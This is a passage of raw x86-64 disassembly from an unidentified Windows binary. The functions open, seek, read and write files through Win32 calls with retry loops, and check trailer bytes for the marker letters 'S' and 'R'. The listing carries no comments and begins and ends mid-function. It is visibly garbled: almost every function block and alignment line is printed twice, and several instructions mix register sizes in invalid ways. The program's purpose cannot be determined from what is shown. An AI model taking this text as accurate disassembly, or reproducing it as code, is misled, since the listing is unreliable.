004443b5je 0x4443ed
004443b7mov rax, [rbp+72]
004443bbmov rcx, [rax]
004443bemov rax, [rbp+96]
004443c2mov rdx, [rax]
004443c5mov r8l, [rbp+92]
004443c9lea r9, [rbp+140]
004443d0mov [rsp+32], 0
004443d9call WriteFile
004443detest eax, eax
004443e0je 0x4443ed
004443e2mov eax, [rbp+92]
004443e5cmp [rbp+140], eax
004443ebje 0x444462
004443ed
004443edloc_4443ed:
004443edmov rax, [rbp+72]
004443f1mov rcx, [rax]
004443f4call CloseHandle
004443f9mov ecx, 100
004443fecall Sleep
00444403lea rcx, [rbp+112]
00444407mov rdx, [rbp+208]
0044440ecall fn_42f780
00444413mov rcx, [rbp+112]
00444417call fn_40d180
0044441cmov rcx, rax
0044441fmov edx, 0xffffffffc0000000
00444424xor r8, r8
00444427xor r9, r9
0044442amov [rsp+32], 3
00444432mov [rsp+40], 128
0044443amov [rsp+48], 0
00444443call CreateFileW
00444448mov rcx, [rbp+72]
0044444cmov [rcx], rax
0044444f
0044444floc_44444f:
0044444fadd bl, 1
00444452cmp bl, 11
00444455jne 0x44432e
0044445bnop
0044445cxor eax, eax
0044445emov [rbp+111], al
00444461nop
00444462
00444462loc_444462:
00444462lea rcx, [rbp+112]
00444466mov edx, 2
0044446bcall fn_40be70
00444470lea rcx, [rbp+208]
00444477call fn_40bd90
0044447cmovzx rax, [rbp+111]
00444481lea rsp, [rbp+152]
00444488pop rbx
00444489pop rbp
0044448aret
004442e0
0044448b
0044448b 48 8d 44 20 00 H.D .
0044448b 48 8d 44 20 00 H.D .
00444490
00444490fn_444490:
00444490push rbp
00444491push rbx
00444492sub rsp, 40
00444496mov rbp, rsp
00444499mov rbx, rdx
0044449clea rcx, [rbx+112]
004444a0mov edx, 2
004444a5call fn_40be70
004444aalea rcx, [rbx+208]
004444b1call fn_40bd90
004444b6lea rsp, [rbp+40]
004444bapop rbx
004444bbpop rbp
004444bcret
00444490
00444490fn_444490:
00444490push rbp
00444491push rbx
00444492sub rsp, 40
00444496mov rbp, rsp
00444499mov rbx, rdx
0044449clea rcx, [rbx+112]
004444a0mov edx, 2
004444a5call fn_40be70
004444aalea rcx, [rbx+208]
004444b1call fn_40bd90
004444b6lea rsp, [rbp+40]
004444bapop rbx
004444bbpop rbp
004444bcret
00444490
004444bd
004444bd // align 0x10
004444bd // align 0x10
004444c0
004444c0fn_4444c0:
004444c0mov rax, [rip+0x1faf9]
004444c7cmp [rax+305], 0
004444ceje 0x4444d4
004444d0mov al, 1
004444d2jmp 0x4444f7
004444d4
004444d4loc_4444d4:
004444d4mov rax, [rip+0x1fae5]
004444dbcmp [rax+306], 0
004444e2je 0x4444f5
004444e4cmp rcx, 0x80000
004444ebjg 0x4444f1
004444edmov al, 1
004444efjmp 0x4444f7
004444f1
004444f1loc_4444f1:
004444f1xor eax, eax
004444f3jmp 0x4444f7
004444f5
004444f5loc_4444f5:
004444f5mov al, 2
004444f7
004444f7loc_4444f7:
004444f7ret
004444c0
004444c0fn_4444c0:
004444c0mov rax, [rip+0x1faf9]
004444c7cmp [rax+305], 0
004444ceje 0x4444d4
004444d0mov al, 1
004444d2jmp 0x4444f7
004444d4
004444d4loc_4444d4:
004444d4mov rax, [rip+0x1fae5]
004444dbcmp [rax+306], 0
004444e2je 0x4444f5
004444e4cmp rcx, 0x80000
004444ebjg 0x4444f1
004444edmov al, 1
004444efjmp 0x4444f7
004444f1
004444f1loc_4444f1:
004444f1xor eax, eax
004444f3jmp 0x4444f7
004444f5
004444f5loc_4444f5:
004444f5mov al, 2
004444f7
004444f7loc_4444f7:
004444f7ret
004444c0
004444f8
004444f8 // align 0x10
004444f8 // align 0x10
00444500
00444500fn_444500:
00444500push rbp
00444501sub rsp, 80
00444505mov rbp, rsp
00444508mov [rbp+40], 0
00444510mov [rbp+56], 0
00444518mov [rbp+48], 0
00444520mov [rbp+96], rcx
00444524lea rcx, [rbp+96]
00444528call fn_40bf00
0044452dnop
0044452emov al, 14
00444530mov [rbp+39], al
00444533lea rcx, [rbp+48]
00444537mov rdx, [rbp+96]
0044453bcall fn_42f680
00444540lea rcx, [rbp+56]
00444544mov rdx, [rbp+48]
00444548call fn_4220f0
0044454dlea rcx, [rbp+96]
00444551mov rdx, [rbp+56]
00444555call fn_40c490
0044455axor eax, eax
0044455cmov rcx, [rbp+96]
00444560test rcx, rcx
00444563je 0x44456b
00444565mov eax, [rcx-4]
00444568shr eax, 1
0044456b
0044456bloc_44456b:
0044456bcmp eax, 16
0044456ejg 0x444614
00444574lea rcx, [rbp+40]
00444578mov rdx, [rbp+96]
0044457cxor r8, r8
0044457fcall fn_40c8e0
00444584mov rcx, [rbp+40]
00444588lea rdx, [rbp+64]
0044458clea r8, [rbp+72]
00444590call fn_4336c0
00444595mov eax, 1
0044459amov rcx, [rip+0x1fa1f]
004445a1lea rdx, [rcx+168]
004445a8
004445a8loc_4445a8:
004445a8mov rcx, [rdx]
004445abtest rcx, rcx
004445aeje 0x4445b4
004445b0mov rcx, [rcx-8]
004445b4
004445b4loc_4445b4:
004445b4xor r8, r8
004445b7mov r9l, ecx
004445basub r9l, 1
004445bemov ecx, r8l
004445c1cmp ecx, r9l
004445c4jg 0x444605
004445c6sub r9l, r8l
004445c9add r9l, 1
004445cd
004445cdloc_4445cd:
004445cdmovsxd r8, ecx
004445d0mov r10, [rdx]
004445d3mov r11, r8
004445d6add r11, r11
004445d9mov r10, [r10+8*r11+8]
004445decmp r10, [rbp+72]
004445e2jne 0x4445f9
004445e4mov r10, [rdx]
004445e7add r8, r8
004445eamov r8, [r10+8*r8]
004445eecmp r8, [rbp+64]
004445f2jne 0x4445f9
004445f4mov [rbp+39], al
004445f7jmp 0x444614
004445f9
004445f9loc_4445f9:
004445f9add ecx, 1
004445fcsub r9l, 1
00444600test r9l, r9l
00444603jne 0x4445cd
00444605
00444605loc_444605:
00444605nop
00444606add eax, 1
00444609add rdx, 8
0044460dcmp eax, 14
00444610jne 0x4445a8
00444612nop
00444613nop
00444614
00444614loc_444614:
00444614lea rcx, [rbp+40]
00444618call fn_40bd40
0044461dlea rcx, [rbp+48]
00444621mov edx, 2
00444626call fn_40be70
0044462blea rcx, [rbp+96]
0044462fcall fn_40bd90
00444634movzx rax, [rbp+39]
00444639lea rsp, [rbp+80]
0044463dpop rbp
0044463eret
00444500
00444500fn_444500:
00444500push rbp
00444501sub rsp, 80
00444505mov rbp, rsp
00444508mov [rbp+40], 0
00444510mov [rbp+56], 0
00444518mov [rbp+48], 0
00444520mov [rbp+96], rcx
00444524lea rcx, [rbp+96]
00444528call fn_40bf00
0044452dnop
0044452emov al, 14
00444530mov [rbp+39], al
00444533lea rcx, [rbp+48]
00444537mov rdx, [rbp+96]
0044453bcall fn_42f680
00444540lea rcx, [rbp+56]
00444544mov rdx, [rbp+48]
00444548call fn_4220f0
0044454dlea rcx, [rbp+96]
00444551mov rdx, [rbp+56]
00444555call fn_40c490
0044455axor eax, eax
0044455cmov rcx, [rbp+96]
00444560test rcx, rcx
00444563je 0x44456b
00444565mov eax, [rcx-4]
00444568shr eax, 1
0044456b
0044456bloc_44456b:
0044456bcmp eax, 16
0044456ejg 0x444614
00444574lea rcx, [rbp+40]
00444578mov rdx, [rbp+96]
0044457cxor r8, r8
0044457fcall fn_40c8e0
00444584mov rcx, [rbp+40]
00444588lea rdx, [rbp+64]
0044458clea r8, [rbp+72]
00444590call fn_4336c0
00444595mov eax, 1
0044459amov rcx, [rip+0x1fa1f]
004445a1lea rdx, [rcx+168]
004445a8
004445a8loc_4445a8:
004445a8mov rcx, [rdx]
004445abtest rcx, rcx
004445aeje 0x4445b4
004445b0mov rcx, [rcx-8]
004445b4
004445b4loc_4445b4:
004445b4xor r8, r8
004445b7mov r9l, ecx
004445basub r9l, 1
004445bemov ecx, r8l
004445c1cmp ecx, r9l
004445c4jg 0x444605
004445c6sub r9l, r8l
004445c9add r9l, 1
004445cd
004445cdloc_4445cd:
004445cdmovsxd r8, ecx
004445d0mov r10, [rdx]
004445d3mov r11, r8
004445d6add r11, r11
004445d9mov r10, [r10+8*r11+8]
004445decmp r10, [rbp+72]
004445e2jne 0x4445f9
004445e4mov r10, [rdx]
004445e7add r8, r8
004445eamov r8, [r10+8*r8]
004445eecmp r8, [rbp+64]
004445f2jne 0x4445f9
004445f4mov [rbp+39], al
004445f7jmp 0x444614
004445f9
004445f9loc_4445f9:
004445f9add ecx, 1
004445fcsub r9l, 1
00444600test r9l, r9l
00444603jne 0x4445cd
00444605
00444605loc_444605:
00444605nop
00444606add eax, 1
00444609add rdx, 8
0044460dcmp eax, 14
00444610jne 0x4445a8
00444612nop
00444613nop
00444614
00444614loc_444614:
00444614lea rcx, [rbp+40]
00444618call fn_40bd40
0044461dlea rcx, [rbp+48]
00444621mov edx, 2
00444626call fn_40be70
0044462blea rcx, [rbp+96]
0044462fcall fn_40bd90
00444634movzx rax, [rbp+39]
00444639lea rsp, [rbp+80]
0044463dpop rbp
0044463eret
00444500
0044463f
0044463f // align 0x10
0044463f // align 0x10
00444640
00444640fn_444640:
00444640push rbp
00444641push rbx
00444642sub rsp, 40
00444646mov rbp, rsp
00444649mov rbx, rdx
0044464clea rcx, [rbx+40]
00444650call fn_40bd40
00444655lea rcx, [rbx+48]
00444659mov edx, 2
0044465ecall fn_40be70
00444663lea rcx, [rbx+96]
00444667call fn_40bd90
0044466clea rsp, [rbp+40]
00444670pop rbx
00444671pop rbp
00444672ret
00444640
00444640fn_444640:
00444640push rbp
00444641push rbx
00444642sub rsp, 40
00444646mov rbp, rsp
00444649mov rbx, rdx
0044464clea rcx, [rbx+40]
00444650call fn_40bd40
00444655lea rcx, [rbx+48]
00444659mov edx, 2
0044465ecall fn_40be70
00444663lea rcx, [rbx+96]
00444667call fn_40bd90
0044466clea rsp, [rbp+40]
00444670pop rbx
00444671pop rbp
00444672ret
00444640
00444673
00444673 // align 0x10
00444673 // align 0x10
00444680
00444680fn_444680:
00444680push rbp
00444681push rbx
00444682sub rsp, 152
00444689mov rbp, rsp
0044468cmov [rbp+72], rcx
00444690mov [rbp+80], rdx
00444694mov [rbp+92], r8l
00444698mov [rbp+96], r9
0044469cmov [rbp+112], 0
004446a4mov [rbp+120], 0
004446acmov rax, [rbp+208]
004446b3mov [rbp+208], rax
004446balea rcx, [rbp+208]
004446c1call fn_40bf00
004446c6nop
004446c7mov al, 1
004446c9mov [rbp+111], al
004446ccmov bl, 1
004446ce
004446celoc_4446ce:
004446cemov rax, [rbp+72]
004446d2cmp [rax], -1
004446d6jne 0x444733
004446d8mov ecx, 100
004446ddcall Sleep
004446e2lea rcx, [rbp+120]
004446e6mov rdx, [rbp+208]
004446edcall fn_42f780
004446f2mov rcx, [rbp+120]
004446f6call fn_40d180
004446fbmov rcx, rax
004446femov edx, 0xffffffffc0000000
00444703xor r8, r8
00444706xor r9, r9
00444709mov [rsp+32], 3
00444711mov [rsp+40], 128
00444719mov [rsp+48], 0
00444722call CreateFileW
00444727mov rcx, [rbp+72]
0044472bmov [rcx], rax
0044472ejmp 0x4447ef
00444733
00444733loc_444733:
00444733mov [rbp+140], 0
0044473dmov rax, [rbp+72]
00444741mov rcx, [rax]
00444744mov rdx, [rbp+80]
00444748xor r8, r8
0044474bxor r9, r9
0044474ecall SetFilePointerEx
00444753test al, al
00444755je 0x44478d
00444757mov rax, [rbp+72]
0044475bmov rcx, [rax]
0044475emov rax, [rbp+96]
00444762mov rdx, [rax]
00444765mov r8l, [rbp+92]
00444769lea r9, [rbp+140]
00444770mov [rsp+32], 0
00444779call ReadFile
0044477etest eax, eax
00444780je 0x44478d
00444782mov eax, [rbp+92]
00444785cmp [rbp+140], eax
0044478bje 0x444802
0044478d
0044478dloc_44478d:
0044478dmov rax, [rbp+72]
00444791mov rcx, [rax]
00444794call CloseHandle
00444799mov ecx, 100
0044479ecall Sleep
004447a3lea rcx, [rbp+112]
004447a7mov rdx, [rbp+208]
004447aecall fn_42f780
004447b3mov rcx, [rbp+112]
004447b7call fn_40d180
004447bcmov rcx, rax
004447bfmov edx, 0xffffffffc0000000
004447c4xor r8, r8
004447c7xor r9, r9
004447camov [rsp+32], 3
004447d2mov [rsp+40], 128
004447damov [rsp+48], 0
004447e3call CreateFileW
004447e8mov rcx, [rbp+72]
004447ecmov [rcx], rax
004447ef
004447efloc_4447ef:
004447efadd bl, 1
004447f2cmp bl, 11
004447f5jne 0x4446ce
004447fbnop
004447fcxor eax, eax
004447femov [rbp+111], al
00444801nop
00444802
00444802loc_444802:
00444802lea rcx, [rbp+112]
00444806mov edx, 2
0044480bcall fn_40be70
00444810lea rcx, [rbp+208]
00444817call fn_40bd90
0044481cmovzx rax, [rbp+111]
00444821lea rsp, [rbp+152]
00444828pop rbx
00444829pop rbp
0044482aret
00444680
00444680fn_444680:
00444680push rbp
00444681push rbx
00444682sub rsp, 152
00444689mov rbp, rsp
0044468cmov [rbp+72], rcx
00444690mov [rbp+80], rdx
00444694mov [rbp+92], r8l
00444698mov [rbp+96], r9
0044469cmov [rbp+112], 0
004446a4mov [rbp+120], 0
004446acmov rax, [rbp+208]
004446b3mov [rbp+208], rax
004446balea rcx, [rbp+208]
004446c1call fn_40bf00
004446c6nop
004446c7mov al, 1
004446c9mov [rbp+111], al
004446ccmov bl, 1
004446ce
004446celoc_4446ce:
004446cemov rax, [rbp+72]
004446d2cmp [rax], -1
004446d6jne 0x444733
004446d8mov ecx, 100
004446ddcall Sleep
004446e2lea rcx, [rbp+120]
004446e6mov rdx, [rbp+208]
004446edcall fn_42f780
004446f2mov rcx, [rbp+120]
004446f6call fn_40d180
004446fbmov rcx, rax
004446femov edx, 0xffffffffc0000000
00444703xor r8, r8
00444706xor r9, r9
00444709mov [rsp+32], 3
00444711mov [rsp+40], 128
00444719mov [rsp+48], 0
00444722call CreateFileW
00444727mov rcx, [rbp+72]
0044472bmov [rcx], rax
0044472ejmp 0x4447ef
00444733
00444733loc_444733:
00444733mov [rbp+140], 0
0044473dmov rax, [rbp+72]
00444741mov rcx, [rax]
00444744mov rdx, [rbp+80]
00444748xor r8, r8
0044474bxor r9, r9
0044474ecall SetFilePointerEx
00444753test al, al
00444755je 0x44478d
00444757mov rax, [rbp+72]
0044475bmov rcx, [rax]
0044475emov rax, [rbp+96]
00444762mov rdx, [rax]
00444765mov r8l, [rbp+92]
00444769lea r9, [rbp+140]
00444770mov [rsp+32], 0
00444779call ReadFile
0044477etest eax, eax
00444780je 0x44478d
00444782mov eax, [rbp+92]
00444785cmp [rbp+140], eax
0044478bje 0x444802
0044478d
0044478dloc_44478d:
0044478dmov rax, [rbp+72]
00444791mov rcx, [rax]
00444794call CloseHandle
00444799mov ecx, 100
0044479ecall Sleep
004447a3lea rcx, [rbp+112]
004447a7mov rdx, [rbp+208]
004447aecall fn_42f780
004447b3mov rcx, [rbp+112]
004447b7call fn_40d180
004447bcmov rcx, rax
004447bfmov edx, 0xffffffffc0000000
004447c4xor r8, r8
004447c7xor r9, r9
004447camov [rsp+32], 3
004447d2mov [rsp+40], 128
004447damov [rsp+48], 0
004447e3call CreateFileW
004447e8mov rcx, [rbp+72]
004447ecmov [rcx], rax
004447ef
004447efloc_4447ef:
004447efadd bl, 1
004447f2cmp bl, 11
004447f5jne 0x4446ce
004447fbnop
004447fcxor eax, eax
004447femov [rbp+111], al
00444801nop
00444802
00444802loc_444802:
00444802lea rcx, [rbp+112]
00444806mov edx, 2
0044480bcall fn_40be70
00444810lea rcx, [rbp+208]
00444817call fn_40bd90
0044481cmovzx rax, [rbp+111]
00444821lea rsp, [rbp+152]
00444828pop rbx
00444829pop rbp
0044482aret
00444680
0044482b
0044482b 48 8d 44 20 00 H.D .
0044482b 48 8d 44 20 00 H.D .
00444830
00444830fn_444830:
00444830push rbp
00444831push rbx
00444832sub rsp, 40
00444836mov rbp, rsp
00444839mov rbx, rdx
0044483clea rcx, [rbx+112]
00444840mov edx, 2
00444845call fn_40be70
0044484alea rcx, [rbx+208]
00444851call fn_40bd90
00444856lea rsp, [rbp+40]
0044485apop rbx
0044485bpop rbp
0044485cret
00444830
00444830fn_444830:
00444830push rbp
00444831push rbx
00444832sub rsp, 40
00444836mov rbp, rsp
00444839mov rbx, rdx
0044483clea rcx, [rbx+112]
00444840mov edx, 2
00444845call fn_40be70
0044484alea rcx, [rbx+208]
00444851call fn_40bd90
00444856lea rsp, [rbp+40]
0044485apop rbx
0044485bpop rbp
0044485cret
00444830
0044485d
0044485d // align 0x10
0044485d // align 0x10
00444860
00444860fn_444860:
00444860push rbp
00444861push rsi
00444862push rbx
00444863sub rsp, 96
00444867mov rbp, rsp
0044486amov [rbp+48], rcx
0044486emov [rbp+56], rdx
00444872mov [rbp+64], r9
00444876mov [rbp+88], 0
0044487emov [rbp+80], 0
00444886mov [rbp+144], r8
0044488dlea rcx, [rbp+144]
00444894call fn_40bf00
00444899nop
0044489axor eax, eax
0044489cmov [rbp+79], al
0044489flea rcx, [rbp+88]
004448a3mov rdx, [rip-0x15a8a]
004448aacall fn_410600
004448aflea rcx, [rbp+88]
004448b3mov rdx, [rip-0x15a9a]
004448bamov r8l, 1
004448c0mov r9l, 8
004448c6call fn_410430
004448cbmov rcx, [rbp+48]
004448cfmov rax, [rbp+56]
004448d3lea rdx, [rax-8]
004448d7mov r8l, 8
004448ddlea r9, [rbp+88]
004448e1mov rax, [rbp+144]
004448e8mov [rsp+32], rax
004448edcall fn_444680
004448f2test al, al
004448f4jne 0x444900
004448f6mov al, 3
004448f8mov [rbp+79], al
004448fbjmp 0x444b0a
00444900
00444900loc_444900:
00444900mov rax, [rbp+88]
00444904mov rcx, [rbp+88]
00444908movzx rax, [rax]
0044490ccmp al, [rcx+4]
0044490fjne 0x444b0a
00444915mov rax, [rbp+88]
00444919mov rcx, [rbp+88]
0044491dmovzx rax, [rax+1]
00444922cmp al, [rcx+5]
00444925jne 0x444b0a
0044492bmov rax, [rbp+88]
0044492fmov rcx, [rbp+88]
00444933movzx rax, [rax+2]
00444938cmp al, [rcx+6]
0044493bjne 0x444b0a
00444941mov rax, [rbp+88]
00444945mov rcx, [rbp+88]
00444949movzx rax, [rax+3]
0044494ecmp al, [rcx+7]
00444951jne 0x444b0a
00444957xor ebx, ebx
00444959xor eax, eax
0044495b
0044495bloc_44495b:
0044495bshl ebx, 8
0044495emov rcx, [rbp+88]
00444962movzx rdx, al
00444966movzx rcx, [rcx+rdx]
0044496badd ebx, ecx
0044496dadd al, 1
00444970cmp al, 4
00444973jne 0x44495b
00444975nop
00444976mov esi, ebx
00444978mov rax, [rbp+56]
0044497ccmp rsi, rax
0044497fjg 0x444b0a
00444985cmp ebx, 16
00444988jbe 0x444b0a
0044498elea rcx, [rbp+80]
00444992mov rdx, [rip-0x15b79]
00444999call fn_410600
0044499elea rcx, [rbp+80]
004449a2mov rdx, [rip-0x15b89]
004449a9mov r8l, 1
004449afmov r9l, 8
004449b5call fn_410430
004449bamov rcx, [rbp+48]
004449bemov rdx, [rbp+56]
004449c2sub rdx, rsi
004449c5mov r8l, 8
004449cblea r9, [rbp+80]
004449cfmov rax, [rbp+144]
004449d6mov [rsp+32], rax
004449dbcall fn_444680
004449e0test al, al
004449e2jne 0x4449ee
004449e4mov al, 3
004449e6mov [rbp+79], al
004449e9jmp 0x444b0a
004449ee
004449eeloc_4449ee:
004449eemov rax, [rbp+88]
004449f2mov rcx, [rbp+80]
004449f6movzx rax, [rax]
004449facmp al, [rcx]
004449fcjne 0x444b0a
00444a02mov rax, [rbp+88]
00444a06mov rcx, [rbp+80]
00444a0amovzx rax, [rax+1]
00444a0fcmp al, [rcx+2]
00444a12jne 0x444b0a
00444a18mov rax, [rbp+88]
00444a1cmov rcx, [rbp+80]
00444a20movzx rax, [rax+2]
00444a25cmp al, [rcx+4]
00444a28jne 0x444b0a
00444a2emov rax, [rbp+88]
00444a32mov rcx, [rbp+80]
00444a36movzx rax, [rax+3]
00444a3bcmp al, [rcx+6]
00444a3ejne 0x444b0a
00444a44mov rax, [rbp+80]
00444a48cmp [rax+1], 83
00444a4cjne 0x444a76
00444a4emov rax, [rbp+80]
00444a52cmp [rax+3], 83
00444a56jne 0x444a76
00444a58mov rax, [rbp+80]
00444a5ccmp [rax+5], 83
00444a60jne 0x444a76
00444a62mov rax, [rbp+80]
00444a66cmp [rax+7], 83
00444a6ajne 0x444a76
00444a6cmov al, 1
00444a6emov [rbp+79], al
00444a71jmp 0x444b0a
00444a76
00444a76loc_444a76:
00444a76mov rax, [rbp+80]
00444a7acmp [rax+1], 82
00444a7ejne 0x444b0a
00444a84mov rax, [rbp+80]
00444a88cmp [rax+3], 82
00444a8cjne 0x444b0a
00444a8emov rax, [rbp+80]
00444a92cmp [rax+5], 82
00444a96jne 0x444b0a
00444a98mov rax, [rbp+80]
00444a9ccmp [rax+7], 82
00444aa0jne 0x444b0a
00444aa2mov al, 2
00444aa4mov [rbp+79], al
00444aa7cmp [rbp+160], 0
00444aaeje 0x444b09
00444ab0mov rcx, [rbp+64]
00444ab4mov rdx, [rip-0x15c9b]
00444abbcall fn_410600
00444ac0mov rcx, [rbp+64]
00444ac4mov rdx, [rip-0x15cab]
00444acbmov r8l, 1
00444ad1mov r9l, ebx
00444ad4call fn_410430
00444ad9mov rcx, [rbp+48]
00444addmov eax, ebx
00444adfmov rdx, [rbp+56]
00444ae3sub rdx, rax
00444ae6mov r8l, ebx
00444ae9mov r9, [rbp+64]
00444aedmov rax, [rbp+144]
00444af4mov [rsp+32], rax
00444af9call fn_444680
00444afetest al, al
00444b00jne 0x444b09
00444b02mov al, 3
00444b04mov [rbp+79], al
00444b07jmp 0x444b0a
00444b09
00444b09loc_444b09:
00444b09nop
00444b0a
00444b0aloc_444b0a:
00444b0alea rcx, [rbp+80]
00444b0emov rdx, [rip-0x15cf5]
00444b15mov r8l, 2
00444b1bcall fn_40ec40
00444b20lea rcx, [rbp+144]
00444b27call fn_40bd90
00444b2cmovzx rax, [rbp+79]
00444b31lea rsp, [rbp+96]
00444b35pop rbx
00444b36pop rsi
00444b37pop rbp
00444b38ret
00444860
00444860fn_444860:
00444860push rbp
00444861push rsi
00444862push rbx
00444863sub rsp, 96
00444867mov rbp, rsp
0044486amov [rbp+48], rcx
0044486emov [rbp+56], rdx
00444872mov [rbp+64], r9
00444876mov [rbp+88], 0
0044487emov [rbp+80], 0
00444886mov [rbp+144], r8
0044488dlea rcx, [rbp+144]
00444894call fn_40bf00
00444899nop
0044489axor eax, eax
0044489cmov [rbp+79], al
0044489flea rcx, [rbp+88]
004448a3mov rdx, [rip-0x15a8a]
004448aacall fn_410600
004448aflea rcx, [rbp+88]
004448b3mov rdx, [rip-0x15a9a]
004448bamov r8l, 1
004448c0mov r9l, 8
004448c6call fn_410430
004448cbmov rcx, [rbp+48]
004448cfmov rax, [rbp+56]
004448d3lea rdx, [rax-8]
004448d7mov r8l, 8
004448ddlea r9, [rbp+88]
004448e1mov rax, [rbp+144]
004448e8mov [rsp+32], rax
004448edcall fn_444680
004448f2test al, al
004448f4jne 0x444900
004448f6mov al, 3
004448f8mov [rbp+79], al
004448fbjmp 0x444b0a
00444900
00444900loc_444900:
00444900mov rax, [rbp+88]
00444904mov rcx, [rbp+88]
00444908movzx rax, [rax]
0044490ccmp al, [rcx+4]
0044490fjne 0x444b0a
00444915mov rax, [rbp+88]
00444919mov rcx, [rbp+88]
0044491dmovzx rax, [rax+1]
00444922cmp al, [rcx+5]
00444925jne 0x444b0a
0044492bmov rax, [rbp+88]
0044492fmov rcx, [rbp+88]
00444933movzx rax, [rax+2]
00444938cmp al, [rcx+6]
0044493bjne 0x444b0a
00444941mov rax, [rbp+88]
00444945mov rcx, [rbp+88]
00444949movzx rax, [rax+3]
0044494ecmp al, [rcx+7]
00444951jne 0x444b0a
00444957xor ebx, ebx
00444959xor eax, eax
0044495b
0044495bloc_44495b:
0044495bshl ebx, 8
0044495emov rcx, [rbp+88]
00444962movzx rdx, al
00444966movzx rcx, [rcx+rdx]
0044496badd ebx, ecx
0044496dadd al, 1
00444970cmp al, 4
00444973jne 0x44495b
00444975nop
00444976mov esi, ebx
00444978mov rax, [rbp+56]
0044497ccmp rsi, rax
0044497fjg 0x444b0a
00444985cmp ebx, 16
00444988jbe 0x444b0a
0044498elea rcx, [rbp+80]
00444992mov rdx, [rip-0x15b79]
00444999call fn_410600
0044499elea rcx, [rbp+80]
004449a2mov rdx, [rip-0x15b89]
004449a9mov r8l, 1
004449afmov r9l, 8
004449b5call fn_410430
004449bamov rcx, [rbp+48]
004449bemov rdx, [rbp+56]
004449c2sub rdx, rsi
004449c5mov r8l, 8
004449cblea r9, [rbp+80]
004449cfmov rax, [rbp+144]
004449d6mov [rsp+32], rax
004449dbcall fn_444680
004449e0test al, al
004449e2jne 0x4449ee
004449e4mov al, 3
004449e6mov [rbp+79], al
004449e9jmp 0x444b0a
004449ee
004449eeloc_4449ee:
004449eemov rax, [rbp+88]
004449f2mov rcx, [rbp+80]
004449f6movzx rax, [rax]
004449facmp al, [rcx]
004449fcjne 0x444b0a
00444a02mov rax, [rbp+88]
00444a06mov rcx, [rbp+80]
00444a0amovzx rax, [rax+1]
00444a0fcmp al, [rcx+2]
00444a12jne 0x444b0a
00444a18mov rax, [rbp+88]
00444a1cmov rcx, [rbp+80]
00444a20movzx rax, [rax+2]
00444a25cmp al, [rcx+4]
00444a28jne 0x444b0a
00444a2emov rax, [rbp+88]
00444a32mov rcx, [rbp+80]
00444a36movzx rax, [rax+3]
00444a3bcmp al, [rcx+6]
00444a3ejne 0x444b0a
00444a44mov rax, [rbp+80]
00444a48cmp [rax+1], 83
00444a4cjne 0x444a76
00444a4emov rax, [rbp+80]
00444a52cmp [rax+3], 83
00444a56jne 0x444a76
00444a58mov rax, [rbp+80]
00444a5ccmp [rax+5], 83
00444a60jne 0x444a76
00444a62mov rax, [rbp+80]
00444a66cmp [rax+7], 83
00444a6ajne 0x444a76
00444a6cmov al, 1
00444a6emov [rbp+79], al
00444a71jmp 0x444b0a
00444a76
00444a76loc_444a76:
00444a76mov rax, [rbp+80]
00444a7acmp [rax+1], 82
00444a7ejne 0x444b0a
00444a84mov rax, [rbp+80]
00444a88cmp [rax+3], 82
00444a8cjne 0x444b0a
00444a8emov rax, [rbp+80]
00444a92cmp [rax+5], 82
00444a96jne 0x444b0a
00444a98mov rax, [rbp+80]
00444a9ccmp [rax+7], 82
00444aa0jne 0x444b0a
00444aa2mov al, 2
00444aa4mov [rbp+79], al
00444aa7cmp [rbp+160], 0
00444aaeje 0x444b09
00444ab0mov rcx, [rbp+64]
00444ab4mov rdx, [rip-0x15c9b]
00444abbcall fn_410600
00444ac0mov rcx, [rbp+64]
00444ac4mov rdx, [rip-0x15cab]
00444acbmov r8l, 1
00444ad1mov r9l, ebx
00444ad4call fn_410430
00444ad9mov rcx, [rbp+48]
00444addmov eax, ebx
00444adfmov rdx, [rbp+56]
00444ae3sub rdx, rax
00444ae6mov r8l, ebx
00444ae9mov r9, [rbp+64]
00444aedmov rax, [rbp+144]
00444af4mov [rsp+32], rax
00444af9call fn_444680
00444afetest al, al
00444b00jne 0x444b09
00444b02mov al, 3
00444b04mov [rbp+79], al
00444b07jmp 0x444b0a
00444b09
00444b09loc_444b09:
00444b09nop
00444b0a
00444b0aloc_444b0a:
00444b0alea rcx, [rbp+80]
00444b0emov rdx, [rip-0x15cf5]
00444b15mov r8l, 2
00444b1bcall fn_40ec40
00444b20lea rcx, [rbp+144]
00444b27call fn_40bd90
00444b2cmovzx rax, [rbp+79]
00444b31lea rsp, [rbp+96]
00444b35pop rbx
00444b36pop rsi
00444b37pop rbp
00444b38ret
00444860
00444b39
00444b39 48 8d 80 00 00 00 00 H......
00444b39 48 8d 80 00 00 00 00 H......
00444b40
00444b40fn_444b40:
00444b40push rbp
00444b41push rbx
00444b42sub rsp, 40
00444b46mov rbp, rsp
00444b49mov rbx, rdx
00444b4clea rcx, [rbx+80]
00444b50mov rdx, [rip-0x15d37]
00444b57mov r8l, 2
00444b5dcall fn_40ec40
00444b62lea rcx, [rbx+144]
00444b69call fn_40bd90
00444b6elea rsp, [rbp+40]
00444b72pop rbx
00444b73pop rbp
00444b74ret
00444b40
00444b40fn_444b40:
00444b40push rbp
00444b41push rbx
00444b42sub rsp, 40
00444b46mov rbp, rsp
00444b49mov rbx, rdx
00444b4clea rcx, [rbx+80]
00444b50mov rdx, [rip-0x15d37]
00444b57mov r8l, 2
00444b5dcall fn_40ec40
00444b62lea rcx, [rbx+144]
00444b69call fn_40bd90
00444b6elea rsp, [rbp+40]
00444b72pop rbx
00444b73pop rbp
00444b74ret
00444b40
00444b75
00444b75 // align 0x10
00444b75 // align 0x10
00444b80
00444b80fn_444b80:
00444b80push rbp
00444b81sub rsp, 144
00444b88mov rbp, rsp
00444b8bmov [rbp+64], rcx
00444b8fmov [rbp+72], r9l
00444b93mov [rbp+88], 0
00444b9bmov [rbp+80], 0
00444ba3mov [rbp+104], 0
00444babmov [rbp+96], 0
00444bb3mov [rbp+120], 0
00444bbbmov [rbp+112], 0
00444bc3mov [rbp+136], 0
00444bcemov [rbp+128], 0
00444bd9mov [rbp+168], rdx
00444be0mov [rbp+176], r8
00444be7lea rcx, [rbp+168]
00444beecall fn_40bf00
00444bf3lea rcx, [rbp+176]
00444bfacall fn_40bf00
00444bffnop
00444c00mov al, 1
00444c02mov [rbp+79], al
00444c05mov eax, [rbp+72]
00444c08cmp eax, -1
00444c0bjne 0x444c61
00444c0dlea rcx, [rbp+128]
00444c14mov rdx, [rbp+168]
00444c1bmov r8, [rbp+176]
00444c22call fn_40d230
00444c27lea rcx, [rbp+136]
00444c2emov rdx, [rbp+128]
00444c35call fn_42f780
00444c3amov rcx, [rbp+136]
